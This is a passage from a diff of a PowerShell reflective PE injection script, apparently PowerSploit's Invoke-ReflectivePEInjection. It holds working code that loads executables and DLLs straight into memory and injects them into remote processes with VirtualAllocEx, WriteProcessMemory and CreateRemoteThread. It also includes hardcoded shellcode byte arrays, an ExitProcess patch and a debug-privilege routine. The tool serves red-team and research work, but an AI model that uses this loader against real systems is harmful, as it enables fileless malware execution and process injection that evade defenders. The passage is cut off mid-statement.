not found" - } - - $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - #Make copy of original ExitProcess bytes - $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) - - #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then - # call ExitThread - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp - - $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - ################################################# - - Write-Output $ReturnArray - } - - - #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) - # It copies Count bytes from Source to Destination. - Function Copy-ArrayOfMemAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Array[]] - $CopyInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [UInt32]$OldProtectFlag = 0 - foreach ($Info in $CopyInfo) - { - $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } - - $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null - - $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - } - - - ##################################### - ########## FUNCTIONS ########### - ##################################### - Function Get-MemoryProcAddress - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FunctionName - ) - - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Get the export table - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) - { - return [IntPtr]::Zero - } - $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) - $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) - - for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) - { - #AddressOfNames is an array of pointers to strings of the names of the functions exported - $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) - $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) - - if ($Name -ceq $FunctionName) - { - #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions - # which contains the offset of the function in to the DLL - $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) - $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) - $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) - return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) - } - } - - return [IntPtr]::Zero - } - - - Function Invoke-MemoryLoadLibrary - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $ExeArgs, - - [Parameter(Position = 2, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle, + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) - [Parameter(Position = 3)] - [Bool] - $ForceASLR = $false - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $RemoteLoading = $false - if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $RemoteLoading = $true - } - - #Get basic PE information - Write-Verbose "Getting basic PE information from the file" - $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types - $OriginalImageBase = $PEInfo.OriginalImageBase - $NXCompatible = $true - if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) - { - Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue - $NXCompatible = $false - } - - - #Verify that the PE and the current process are the same bits (32bit or 64bit) - $Process64Bit = $true - if ($RemoteLoading -eq $true) - { - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") - if ($Result -eq [IntPtr]::Zero) - { - Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" - } - - [Bool]$Wow64Process = $false - $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) - if ($Success -eq $false) - { - Throw "Call to IsWow64Process failed" - } - - if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) - { - $Process64Bit = $false - } - - #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly - $PowerShell64Bit = $true - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $PowerShell64Bit = $false - } - if ($PowerShell64Bit -ne $Process64Bit) - { - throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" - } - } - else - { - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $Process64Bit = $false - } - } - if ($Process64Bit -ne $PEInfo.PE64Bit) - { - Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" - } - - - #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address - Write-Verbose "Allocating memory for the PE and write its headers to memory" - - #ASLR check - [IntPtr]$LoadAddr = [IntPtr]::Zero - $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE - if ((-not $ForceASLR) -and (-not $PESupportsASLR)) - { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue - [IntPtr]$LoadAddr = $OriginalImageBase - } - elseif ($ForceASLR -and (-not $PESupportsASLR)) + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) { - Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + Throw "Unable to get the handle to the current thread" } - if ($ForceASLR -and $RemoteLoading) + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) { - Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } } - if ($RemoteLoading -and (-not $PESupportsASLR)) + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) { - Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + Throw "Unable to call LookupPrivilegeValue" } - $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell - $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. - if ($RemoteLoading -eq $true) - { - #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup - $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - - #todo, error handling needs to delete this memory if an error happens along the way - $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($EffectivePEHandle -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" - } - } - else - { - if ($NXCompatible -eq $true) - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - } - else - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - } - $EffectivePEHandle = $PEHandle - } - - [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) - if ($PEHandle -eq [IntPtr]::Zero) - { - Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." - } - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null - - - #Now that the PE is in memory, get more detailed information about it - Write-Verbose "Getting detailed PE information from the headers loaded in memory" - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress - $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" - - - #Copy each section from the PE in to memory - Write-Verbose "Copy PE sections in to memory" - Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types - - - #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded - Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" - Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types - - - #The PE we are in-memory loading has DLLs it needs, import those DLLs for it - Write-Verbose "Import DLL's needed by the PE we are loading" - if ($RemoteLoading -eq $true) - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle - } - else - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - } - - - #Update the memory protection flags for all the memory just allocated - if ($RemoteLoading -eq $false) - { - if ($NXCompatible -eq $true) - { - Write-Verbose "Update memory protection flags" - Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types - } - else - { - Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" - } - } - else - { - Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" - } - - - #If remote loading, copy the DLL in to remote process memory - if ($RemoteLoading -eq $true) - { - [UInt32]$NumBytesWritten = 0 - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write shellcode to remote process memory." - } - } - - - #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function - if ($PEInfo.FileType -ieq "DLL") - { - if ($RemoteLoading -eq $false) - { - Write-Verbose "Calling dllmain so the DLL knows it has been loaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null - } - else - { - $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - - if ($PEInfo.PE64Bit -eq $true) - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - } - elseif ($PEInfo.FileType -ieq "EXE") - { - #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process - [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) - [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) - $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr - - #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread - # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. - [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." - - $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null - - while($true) - { - [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) - if ($ThreadDone -eq 1) - { - Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants - Write-Verbose "EXE thread has completed." - break - } - else - { - Start-Sleep -Seconds 1 - } - } - } - - return @($PEInfo.PEHandle, $EffectivePEHandle) - } - - - Function Invoke-MemoryFreeLibrary - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $PEHandle - ) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Call FreeLibrary for all the imports of the DLL - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done unloading the libraries needed by the PE" - break - } - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) - $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) - - if ($ImportDllHandle -eq $null) - { - Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue - } - - $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) - if ($Success -eq $false) - { - Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - - #Call DllMain with process detach - Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null - - - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - - Function Main - { - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - - $RemoteProcHandle = [IntPtr]::Zero - - #If a remote process to inject in to is specified, get a handle to it - if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) - { - Throw "Can't supply a ProcId and ProcName, choose one or the other" - } - elseif ($ProcName -ne $null -and $ProcName -ne "") - { - $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) - if ($Processes.Count -eq 0) - { - Throw "Can't find process $ProcName" - } - elseif ($Processes.Count -gt 1) - { - $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId - Write-Output $ProcInfo - Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." - } - else - { - $ProcId = $Processes[0].ID - } - } - - #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. - #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege -# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) -# { -# Write-Verbose "Getting SeDebugPrivilege" -# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -# } - - if (($ProcId -ne $null) -and ($ProcId -ne 0)) - { - $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Throw "Couldn't obtain the handle for process ID: $ProcId" - } - - Write-Verbose "Got the handle for the remote process to inject in to" - } - - - #Load the PE reflectively - Write-Verbose "Calling Invoke-MemoryLoadLibrary" - $PEHandle = [IntPtr]::Zero - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR - } - else - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR - } - if ($PELoadedInfo -eq [IntPtr]::Zero) - { - Throw "Unable to load PE, handle returned is NULL" - } - - $PEHandle = $PELoadedInfo[0] - $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process - - - #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) - { - ######################################### - ### YOUR CODE GOES HERE - ######################################### - switch ($FuncReturnType) - { - 'WString' { - Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" - if ($WStringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) - [IntPtr]$OutputPtr = $WStringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output - } - - 'String' { - Write-Verbose "Calling function with String return type" - [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" - if ($StringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $StringFunc = 